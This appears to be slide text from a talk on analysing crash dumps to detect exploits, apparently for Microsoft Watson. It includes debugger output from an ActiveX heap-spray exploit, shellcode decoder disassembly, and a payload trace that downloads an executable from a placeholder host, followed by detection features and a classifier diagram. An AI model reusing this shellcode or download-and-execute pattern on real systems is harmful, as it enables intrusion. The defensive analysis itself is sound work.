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/usr/bin/whoami





D923AE0C-190D-4EDF-B07A-76AC571FBFD4  SCSKEX.cab

filever /v SCSKEX.ocx

--a-- W32i DLL ENU 4.0.31.7 shp 858,832 scskex.ocx

Language 0x0409 (English (United States))

CharSet 0x04b0 Unicode

OleSelfRegister Enabled

CompanyName softcamp

FileDescription SCSKEx ActiveX Control Module

InternalName SCSKEx

OriginalFilenam SCSKEx.OCX

ProductName SCSKEx ActiveX Control Module

ProductVersion 4, 0, 31, 7

FileVersion 4, 0, 31, 7

LegalCopyright Copyright (C) SoftCamp Co.,Ltd. All rights reserved.



http://www.softcamp.co.kr


0:000> .ecxr

eax=0000000c ebx=0003fcec ecx=0003fcf4 edx=0c0c0c0c esi=001d94d4 edi=0003fcfc

eip=0c111c94 esp=0013deb4 ebp=0003fcf4 iopl=0 nv up ei pl nz na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

0c111c94 cc int 3 << neutered shellcode

0:000> ub eip

0c111c84 0c0c or al,0Ch

0c111c86 0c0c or al,0Ch

0c111c88 0c0c or al,0Ch

0c111c8a 0c0c or al,0Ch

0c111c8c 0c0c or al,0Ch

0c111c8e 0c0c or al,0Ch

0c111c90 0c0c or al,0Ch

0c111c92 0c0c or al,0Ch

0:000> u

0c111c94 cc int 3

0c111c95 cc int 3



Reading 61440 bytes at 0x131000

dt psym

Local var @ 0x13e1e4 Type SYM*

0x0013e1f8

+0x000 m_psz : 0x022f61b0 -> points to the 

crashing method call

+0x004 m_cch : 0n12

+0x008 m_luHash : 0xa7d4d1fb

+0x00c m_fBstr : 0x1 ''

+0x00d m_fInvertCase : 0 ''

0:000> du 0x022f61b0

022f61b0 "FlexSetFocus"





F326007F-DD23-4724-BAFC-B1C97FC18794 

 http://www.symantec.com/en/za/business/security_response/attacksignatures/detail.jsp?asid=22472

http://www.symantec.com/en/za/business/security_response/attacksignatures/detail.jsp?asid=22472
http://ksign.com
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0:000> kb
*** Stack trace for last set context - .thread/.cxr resets it

ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 0x0



0:016> !teb

TEB at 7FFA8000

ExceptionList: 1c87e780

Stack Base: 1c880000

Stack Limit: 1c87d000

1c87f310 1c87f360 <-- reasonable child frame address

1c87f314 6a8c870a msw3prt!Spl_IppJobSync+0x5e <-- return address

1c87f318 05b21e90

1c87f31c 0000000a

1c87f320 1c87f360 <-- reasonable child frame address

1c87f324 6a8c8724 msw3prt!Spl_IppJobSync+0x78 <-- return address

1c87f328 00000000

1c87f32c 0000000a

1c87f330 00000000

1c87f334 00c88150

1c87f338 1c87f3b0

1c87f33c 7c57915d KERNEL32!LocalAlloc

1c87f340 000a00d8



http://www.exploit-db.com/


















0002023b 33c0          xor eax,eax

0002023d 33db          xor ebx,ebx

0002023f 81ec00020000  sub     esp,200h

00020245 8bcc          mov ecx,esp

00020247 83f854        cmp eax,54h

0002024a 7d08          jge 00020254

0002024c 891c01        mov dword ptr [ecx+eax],ebx

0002024f 83c004        add     eax,4

00020252 ebf3          jmp 00020247







UrlDownloadToCacheA/W

CreateProcessInternalA

NtReadVirtualMemory

NtProtectVirtualMemory

__lcreat

__lwrite

MultiByteToWideChar



HMODULE WINapi LoadLibraryA( LPCSTR lpFileName = "urlmon");

MultiByteToWideChar(   
UINT CodePage = 0x00000000,
__in      DWORD dwFlags = 0x00000000,
__in      LPCSTR lpMultiByteStr = "http://www.xxx.co.kr/data/log/095.exe",

HRESULT URLDownloadToCacheFileW(
LPUNKNOWN lpUnkcaller = 0x00000000,
LPCTSTR   szURL = "http://www.xxx.co.kr/data/log/095.exe",

HANDLE WINapi CreateFileW(
__in      LPCWSTR lpFileName = "c:\cache\shellcode.exe",





084e06aa ad              lods dword ptr [esi]

084e06ab 03c3            add     eax,ebx

084e06ad 33d2            xor edx,edx

084e06af c1c203          rol edx,3

084e06b2 3210            xor dl,byte ptr [eax]

084e06b4 40              inc eax

084e06b5 803800          cmp byte ptr [eax],0



xor ecx, ecx

push ecx ; lpFnCB

push ecx ; dwReserved

push ebx ; szFileName

push edi ; szURL = 0x0717f776 

push ecx ; pCaller

xor eax, eax

mov eax, [esi+44h]

call sub_269 ; URLDownloadToFileA();

0:035> db 0717f776

0717f776  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

0717f786  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................





0332c0f9 90 nop

0332c0fa eb24 jmp 0332c120

0332c0fc 5b pop ebx

0332c0fd 33c9 xor ecx,ecx

0332c0ff 6681c17302 add cx,273h

0332c104 8bf3 mov esi,ebx

0332c106 33c0 xor eax,eax

0332c108 8a23 mov ah,byte ptr [ebx]

0332c10a 80ec41 sub ah,41h

0332c10d c0e404 shl ah,4

0332c110 8a4301 mov al,byte ptr [ebx+1]

0332c113 2c41 sub al,41h

0332c115 02e0 add ah,al

0332c117 8826 mov byte ptr [esi],ah

0332c119 43 inc ebx

0332c11a 43 inc ebx

0332c11b 46 inc esi

0332c11c e2e8 loop 0332c106

0332c11e eb05 jmp 0332c125

0332c120 e8d7ffffff call 0332c0fc

0332c125 49 dec ecx

0332c126 4c dec esp







ID Feature % Malicious % Benign %Difference

14 u9090_u9090 61 0 61

17 0x0c0c0c 58 0 58

18 substr 95 88 7

20 unescape 85 45 40

23 function 97 99 2

26 replace 64 87 23

28 new_array 89 48 41



Question - What sets of properties are malicious?2

A
B

C

Z
B

X
K

O
Y

C
B

X
D

B
C

O
Y

C
K

X

Testing Phase4

Algorithm

Dump Y
Dump X

Model

Dump T
Dump Z

Dump W

Dump Q

Dump 1
(malicious)

Dump 2
(benign)

Dump 3
(malicious)

Dump 4
(malicious)

Dump 5
(benign)

Algorithm trains on expert selected data3

Algorithm

Dump 1 
(malicious)

Dump 9
(benign)

Dump 3 (malicious)

Dump 7
(benign)

…

Model {(              ), (       ), …}CB K

(benign)
100%

(malicious)
100%

Identify malicious properties:
SHELLCODE_JMP2CALL2POP
EXCEPTION_CHAIN_INVALID, …

1
B

C

Dump Malicious Benign

1 Y 100% 0%

2 Z 95% 5%

3 X 85% 15%

… … … …





watson.microsoft.com



“watson.microsoft.com”
(redirection via gpo)



1 (800) 642-7676

Microsoft


